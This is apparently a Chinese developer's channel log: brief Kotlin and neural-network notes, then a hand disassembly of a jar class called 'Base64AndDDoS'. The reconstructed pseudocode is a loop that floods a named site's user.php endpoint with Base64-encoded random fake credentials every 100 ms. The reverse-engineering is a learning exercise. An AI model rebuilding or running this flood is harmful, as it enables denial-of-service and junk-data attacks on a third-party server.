说到 tan，tanh 函数（双曲函数和三角函数有一定关系）因为其独特的性质也被人工神经网络当作激活函数。激活函数在神经元被传入信号的时候处理产生一个输出，继续正向传播。人工神经网络在回归的时候不需要运行激活函数，但是学习的时候必须运行激活函数。对于梯度下降学习算法来说，激活函数在其值域上必须是可导的，但是我不是很了解这些东西...

#Kotlin 求大佬解答

这里是 expression.getValueArgument(2)!!
这里是

@TypedIntrinsic(IntrinsicType.WORKER_EXECUTE)

public fun <T1, T2> execute(mode: TransferMode, producer: () -> T1, @VolatileLambda job: (T1) -> T2): Future<T2>

所以我很奇怪为什么它会说

if (irCallableReference?.getArguments().isNotEmpty() ?:false) context.reportCompilationError

显然有参数啊... 难不成 Lambda 的参数还不一样？还分隐式参数和显式参数？

Konan 的 Interop 参数配置： #Kotlin

defFile pkg target

linkerOpts compilerOpts

headers includeDirs linkFiles

dumpParameters

这里可以看到更多

https://github.com/Trumeet/Desktop #Kotlin 看起来比较简单，我也想默写一个（部分不默写，比如 bitflags）

这次我会用一点面向对象（Mixins）

写完了，但是没有用，好像花了两个小时... 一部分时间是处理 Gradle build 的，熟悉插件，然后 Gradle 也不熟练，也就是能用一点 plugin configuration 和 sourceset.... 很菜的

这里直接 identity(null) 是因为 Secured 抽象类已经处理好了这部分状态不需要再去关心

好像没有使用 Mixin... 因为那个的确是比较麻烦（有可能还要用 CGLib 什么的）
然后这里也的确没啥东西需要 Mixin 的，何况那个抽象类的方法都是 protected 的，从外面看也很像 Mixin 了

Commit 明确了一下 parameter 和返回值的传递，都是没有用处的值

那我再写一个（求别喷为什么不干有意义的事情）

[DuangSUSE@duangsuse]~/Projects% jar tf Yuuta\ \(2\).jar|head -n4
META-INF/MANIFEST.MF
META-INF/
Base64AndDDoS.class
org/
[DuangSUSE@duangsuse]~/Projects% javap -cp Yuuta\ \(2\).jar Base64AndDDoS
Compiled from "Base64AndDDoS.java"
public class Base64AndDDoS {
public Base64AndDDoS();
public static void main(java.lang.String[]) throws java.io.IOException, java.lang.InterruptedException;
}
... 看起来还是不如直接用 Python 之类的写（当然文本处理推荐 Perl）

不过为了方便学习 OkIO, OkHttp 就写点吧...

反汇编看看，敲重点。

javap -c -cp Yuuta\ \(2\).jar Base64AndDDoS

constructor
public Base64AndDDoS();
啥都没有，就一个 invokespecial (call super)

然后 main, 这里第一个本地表（索引 0）因为是 static 方法就代表 args 对象

aload_0; arraylength: push args.length
ifle goto 9: if (pop <=0) goto truebr
iconst_1
goto 10: goto falsebr
9:truebr
iconst_0
10:falsebr
dup
istore_1

首先看看有没有参数（<=0），如果有（len>0），则 #1 被存储为 int 1，否则 int 0

... 算了，我们来看看如何使用 Kate 以理解程序逻辑为目标阅读 Java 字节码吧。

第一条“语句”

（上面那条是 ifeq 99）

（其实 radare 早就可以绘制流程控制图分析（就是这里的 ifle<pc> ifeq<pc> 指令）了

不要跟我说为什么不直接用 jad, jeb 之类的反编译器算了，JVM 的代码都看不懂这还是人么，顺便求不要提为什么没有立刻继续写书... 目前时间比较少，先看着办

对于分支控制流分析来说，一个值得注意的点是『分支』的控制流是否有相同的后件：

if (p) {
  console.log()

} else { console.log() }

实际上可以被转化为

console.log()

这类情况可能很多，再比如一个差不多的

if (p) {
  stack.push(1);
  storage.set(1, stack.pop());
} else {
  stack.push(2);
  storage.set(1, stack.pop());
}

这里的情况是两个分支都有一个相同的操作（后件）

istore_1

所谓的分支要这么收集：

ifne 49
ifeq 53

...
goto 54
54:
istore_0

从这个跳转地址开始抽象执行余下的代码，分析器可以发现不管怎么走，54:istrore_1 是公共的后件，它把栈上的对象存储到本地表
这样就可以把这两个分支提取综合出来，实际上是在对流程控制图进行括扑搜索

if (str.equals("f")) {
l1 = 1;
} else if (str.equals("alwayscontinue")) {
l1 = 0;
}


🙈 总之下面的都是无聊的代码就可以了，效率分析，直接 walk 跳转完全走一遍算了：

— Local variable table
%0: args String[]
%1:
at 11: boolean
at 54: boolean
—

if (args.length < 0) {
// @99
// control flow skip:
} else {
String fst = args[0];
fst = fst.toLowerCase().replaceAll("^-", "");
int $const_flagbr =0; /*%1*/

if (fst .equals ("f")) {
// code route: @49[iconst_1, goto 54] -> @54[istore_1]
$const_flagbr = 1;
} else if (! fst .equals ("alwayscontinue")) {
// code route: @53[iconst_0] -> @54[istore_1]
$const_flagbr = 0;
} else {
// code route: @49[iconst_1, goto 54] -> @54[istore_1]
$const_flagbr = 1;
} // — reduction

//@55
PrintStream stdout = java.lang.System.out;
StringBuilder sb = new StringBuilder();
// new, dup, invokespecial
sb.append("\"").append(fst /*%2*/).append("\"");
//@80
sb.append($const_flagbr==0? "ignored":"accepted")
// branch reduction [@83, @88] -> @90
stdout.println(sb.toString());
}
// if (args.length...) {} else {} 共有后件 @99



OkHttpClient req = new okhttp3.OkHttpClient.Builder()

.build(); /*%2*/
// dup

Random rng = new java.util.Random(); /*%5*/
//%10 = 0
int $_10 = 0;
while (true) {
//push long 100000000l
//operator%
//push long 900000000l
//operator+
//%6=$1
long rand = rng.nextLong() % 100000000l + 900000000l // %6
String $_8 = Method org.apache.commons.lang.RandomStringUtils.random(1,1,10);
StringBuilder sb1 = new StringBuilder().append("{\"u\":\"");
sb1.append(rand);
sb1.append("\",\"p\":\"");
sb1.append($_8).append("\"}");

$_3 = sb1.toString();

$_4 = new String(
java.util.Base64.getEncoder().encode($_3.getBytes()));

RequestBuilder job = new okhttp3.Request.Builder();//dup
StringBuilder sb2 = new StringBuilder();
sb2.append("https://fffniubi888.cn/user.php?token=");
sb2.append($_4);
job.url(sb2.toString());
$_11 = job.build();
//@236
try{

Response resp = req.newCall(job).execute();
} catch (java.net.SocketTimeoutException e/*%12*/) {
// @252
e.printStackTrace();
// merged to @321
$_10 += 1;
continue;
} catch (java.lang.Exception e1/*%12*/) {
if (1 ==0) {} else {
e1.printStackTrace();
// merged to @321
$_10 += 1;continue;
}
}
// goto @279
stdout.println(new StringBuilder().append(resp).append("\t\t").append($_10).toString());
resp.close();
java.lang.Thread.sleep(100L);
//@321
$_10 += 1;
continue;
// goto @122: loop
}



/// catch Exception table:
/*from    to  target type
    236   249   252   Class java/net/SocketTimeoutException
    236   249   262   Class java/lang/Exception */

好了,循着控制流的指示,正常完成反编译,不过我还没反编译异常捕获表...